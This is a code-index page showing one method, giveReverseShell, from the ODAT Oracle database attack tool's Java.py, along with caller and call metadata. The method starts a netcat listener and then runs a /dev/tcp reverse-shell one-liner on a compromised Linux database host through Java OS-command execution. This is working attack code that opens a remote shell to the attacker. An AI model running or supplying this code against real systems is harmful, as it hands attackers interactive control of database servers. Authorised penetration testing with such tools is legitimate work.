MCPcopy Create free account
hub / github.com/quentinhardy/odat / giveReverseShell

Method giveReverseShell

Java.py:215–232  ·  view source on GitHub ↗

Give a reverse tcp shell via nc Need upload nc.exe if the remote system is windows

(self, localip, localport)

Source from the content-addressed store, hash-verified

213 except KeyboardInterrupt: pass
214
215 def giveReverseShell(self, localip, localport):
216 '''
217 Give a reverse tcp shell via nc
218 Need upload nc.exe if the remote system is windows
219 '''
220 if self.remoteSystemIsWindows() == True :
221 logging.warn("Java reverse shell is not implement for Windows yet")
222 elif self.remoteSystemIsLinux() == True :
223 CMD = "exec 5<>/dev/tcp/{0}/{1}; /bin/cat <&5 | while read line; do $line 2>&5 >&5; done".format(localip,localport)
224 self.args['print'].goodNews("The reverse shell try to connect to {0}:{1}".format(localip,localport))
225 a = Thread(None, self.__runListenNC__, None, (), {'port':localport})
226 a.start()
227 try :
228 self.execOSCommand(cmd=CMD,printResponse=True, needCreateClassAndFunction = True, needDeleteClassAndFunction = True)
229 except KeyboardInterrupt:
230 self.args['print'].goodNews("Connection closed")
231 else :
232 logging.error("The remote server OS ({0}) is unknown".format(self.remoteOS.lower()))
233
234 ####################################################################################################################
235 # Privilege escalation via CVE-2018-3004

Callers 1

runjavaModuleFunction · 0.95

Calls 5

execOSCommandMethod · 0.95
remoteSystemIsWindowsMethod · 0.80
remoteSystemIsLinuxMethod · 0.80
goodNewsMethod · 0.80
startMethod · 0.80

Tested by

no test coverage detected